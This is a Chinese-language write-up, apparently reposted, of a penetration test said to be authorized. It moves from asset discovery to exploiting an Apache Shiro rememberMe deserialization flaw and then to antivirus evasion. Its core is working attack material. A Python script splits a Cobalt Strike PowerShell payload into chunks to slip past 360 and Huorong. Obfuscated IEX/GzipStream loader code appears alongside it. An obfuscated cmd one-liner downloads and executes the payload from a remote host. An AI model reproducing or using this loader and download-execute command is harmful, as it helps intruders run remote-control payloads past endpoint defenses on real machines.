1.信息收集
網(wǎng)址已無法訪問,就不貼了
可以使用Fofa,火線,zoomeye,searchcode.com等爬取相關(guān)的資產(chǎn),重點關(guān)注一些有漏洞暴露的框架和服務(wù)例如:泛微,PHP,Tomca,后臺,weblogic等等。之后就主要分三步:指紋識別、漏洞驗證、漏洞復(fù)現(xiàn)。
指紋識別很好理解,我們要拿歷史漏洞懟它,首先要知道,它是什么有什么漏洞,不然你這懟半天,沒有懟到點上,還容易被404警告(根據(jù)相關(guān)的指紋識別wappalyzer,云悉,Ehole,自建指紋庫等等)。
指紋探測:https://github.com/EdgeSecurityTeam/EHole
同時按需求和習(xí)慣把旗下50%以上控股的公司進(jìn)行收集根域–到子域收集(layer,oneforall等等)
【一一幫助安全學(xué)習(xí),所有資源獲取處一一】
①網(wǎng)絡(luò)安全學(xué)習(xí)路線
②20份滲透測試電子書
③安全攻防357頁筆記
④50份安全攻防面試指南
⑤安全紅隊滲透工具包
⑥網(wǎng)絡(luò)安全必備書籍
⑦100個漏洞實戰(zhàn)案例
⑧安全大廠內(nèi)部視頻資源
2.綜合滲透分析腦圖:
分享一個很細(xì)的工具集。
初步收集到大量資產(chǎn)識別某個目標(biāo)是某個系統(tǒng)之后,需要針對該系統(tǒng)收集其歷史漏洞情況,然后進(jìn)行漏洞驗證。所以漏洞驗證部分需要兩步,漏洞梳理和漏洞驗證,漏洞梳理主要是從公開資料去收集目標(biāo)系統(tǒng)相關(guān)的歷史漏洞。
網(wǎng)絡(luò)上有很多資料,比如 xxx 文庫,github,還有免費開源的工具和 POC,比如 xray、nuclei,提供了很多漏洞驗證的 POC,還有付費寫的軟件和平臺;漏洞驗證部分,盡量做到無害驗證例如:挑個軟的泛微云橋公開POC驗證。
發(fā)現(xiàn)沒有漏洞,就換個資產(chǎn)繼續(xù),滲透都是一步步來的。發(fā)現(xiàn)第一個漏洞——信息泄露,是一個好的開始,找到些配置信息仔細(xì)先記錄下來,繼續(xù)一步步擴(kuò)大成果。
本著以洞打洞原則:有一個漏洞必定有下一個漏洞進(jìn)行這個域名更深的滲透–反查IP發(fā)現(xiàn)無CDN是真實IP直接全端口探測,(這里用的goby,全端口用nmap低速SYN掃描方式效果最好)。
去測試9090端口爆破沒有結(jié)果,js,目錄探測,右鍵源碼等無結(jié)果繼續(xù)換端口滲透。
換到8088端口跳轉(zhuǎn)網(wǎng)站繼續(xù)進(jìn)行滲透。
跳轉(zhuǎn)到http://xx.xxxxxx.com:8010/login
繼續(xù)抓包爆破發(fā)現(xiàn)shiro的特征rememberMe直接去驗證:
Apache Shiro 在 Java 的權(quán)限及安全驗證框架中占用重要的一席之地,在它編號為 550 的 issue 中爆出嚴(yán)重的 Java 反序列化漏洞。為了讓瀏覽器或服務(wù)器重啟后用戶不丟失登錄狀態(tài),Shiro 支持將持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次讀取時進(jìn)行解密再反序列化。
但是在 Shiro 1.2.4 版本之前內(nèi)置了一個默認(rèn)且固定的加密 Key,導(dǎo)致攻擊者可以偽造任意的 rememberMe Cookie,進(jìn)而觸發(fā)反序列化漏洞。
Payload產(chǎn)生的過程:
命令=>序列化=>AES加密=>base64編碼=>RememberMe Cookie值。
在整個漏洞利用過程中,比較重要的是AES加密的密鑰,如果沒有修改默認(rèn)的密鑰那么就很容易就知道密鑰了,Payload構(gòu)造起來也是十分的簡單。
驗證成功Windows單網(wǎng)卡并且出網(wǎng)。
注意ping命令控制數(shù)量防止死ping。
發(fā)現(xiàn)360需要免殺繞過。
3.分離免殺:
殺毒軟件的原理是根據(jù)特征、行為、基于云查殺,云查殺主要是根據(jù)特征碼進(jìn)行查殺,每一種殺毒軟件都會檢測頭文件,所以可以進(jìn)行程序段代碼分離的形式,繞過當(dāng)前主流殺軟。
自己搭建一個Cobalt Strike運行客戶端后選powershell腳本。
去掛載在公網(wǎng)。
混淆方法
首先將FromBase64String改成FromBase65String。
$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String("")
$s |foreach { $string = $string + $_.ToString()+','}
$string > c:\1.txt
將生成的編碼分成兩塊或者多塊再組合。
[Byte[]]$var_c1 = ?[Byte[]](FromBase65String的代碼)
[Byte[]]$var_c2 = ?[Byte[]](FromBase65String的代碼)
$var_code=$var_c1+$var_c2
$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
完整腳本。
import requests
import re
import sys
import threading
import os
import platform
import subprocess
import base64
def getkey(url):
url=url
r = requests.get(url).text
key=re.findall(r'FromBase64String\(\"(.*)\"',r)
str1 = ''.join(key)
return str1
def get_bypass_txt(key):
file=open("keyword.txt",'w')
file.write(key)
file.close()
#os.system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ??$string = '';$s = [Byte[]]$var_code = [System.Convert]::FromBase64String((Get-Content ?keyword.txt));$s | foreach { $string = $string + $_.ToString()+','};$string > keyword2.txt")
with open("keyword.txt", "rb") as f:
data = f.read()
d = base64.b64decode(data)
with open("bypass.txt", "w+") as fw:
for x in d:
fw.write(str(x) + ",")
if __name__ == '__main__':
j=1
k=0
url=input("輸入cs文件地址:")
key=getkey(url)
get_bypass_txt(key)
with open('bypass.txt', 'r') as f1:
results = f1.read()
str=results.split(',')
k=int(len(str))
chunk=int(input("請輸入需要分的塊數(shù):"))
sum_chunk=k//chunk
for i in range(0,chunk):
#print(i+1)
if i==0:
new_str=str[0:sum_chunk]
s=",".join(new_str)
#print(s)
with open('poershell_bypass.txt','w') as f:
f.write("[Byte[]]$var_c%d = ?[Byte[]](%s)\n"% (j,s))
j+=1
# print(new_str)
elif i+1<chunk:
new_str[i]=str[sum_chunk*i:sum_chunk*(i+1)]
#print(new_str[i])
s = ",".join(new_str[i])
# print(s)
with open('poershell_bypass.txt', 'a+') as f:
f.write("[Byte[]]$var_c%d = ?[Byte[]](%s)\n"% (j, s))
j += 1
elif i+1==chunk:
new_str[i]=str[sum_chunk*i:]
s = ",".join(new_str[i][:-1])
# print(s)
with open('poershell_bypass.txt', 'a+') as f:
f.write("[Byte[]]$var_c%d = ?[Byte[]](%s)\n" % (j, s))
j += 1
for i in range(int(chunk)):
if i==0:
with open('poershell_bypass.txt', 'a+') as f:
f.write("$var_code=$var_c%d"%(i+1))
elif i<chunk-1:
with open('poershell_bypass.txt', 'a+') as f:
f.write("+$var_c%d" % (i + 1))
elif i ==chunk - 1:
with open('poershell_bypass.txt', 'a+') as f:
f.write("+$var_c%d \n$s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)" % (i + 1))
print("poershell_bypass.txt已經(jīng)生成完成!")
進(jìn)行分離。
繼續(xù)掛載在CS服務(wù)器上遠(yuǎn)程下載。
由于360和火絨對powershell命令會禁止調(diào)用,我們需要繞過360和火絨的禁止。
set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('ht'+'tP://192'+'.168.158.132:8888'+'/poershell_bypass.txt') | %aa%%bb% -"
這個點就到這。
繼續(xù)把最后的一個端口測試完發(fā)現(xiàn)掃描有.DS_Store文件泄露http://43.2xx.xx.155:8012/.DS_Store
,github上找個公開腳本進(jìn)行枚舉細(xì)心審計會發(fā)現(xiàn)更多問題。
這個ip這么多問題其他子域同樣來一波果真這個段還有不少問題又找到兩個弱口令。文章來源:http://www.zghlxwxcb.cn/news/detail-478954.html
4.?總結(jié):
基于一次授權(quán)的滲透把一些思路整理一下,本次的重點在以洞打洞原則發(fā)現(xiàn)一個小洞順藤摸瓜發(fā)現(xiàn)更多的高危甚至嚴(yán)重問題,像我們?nèi)粘B透有這樣一步步思路進(jìn)行收獲都不小,當(dāng)然了運氣可以省很大部分時間和心思,一步到位的歐皇也是存在。文章來源地址http://www.zghlxwxcb.cn/news/detail-478954.html
到了這里,關(guān)于記一次網(wǎng)絡(luò)安全滲透測試實戰(zhàn)指南的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!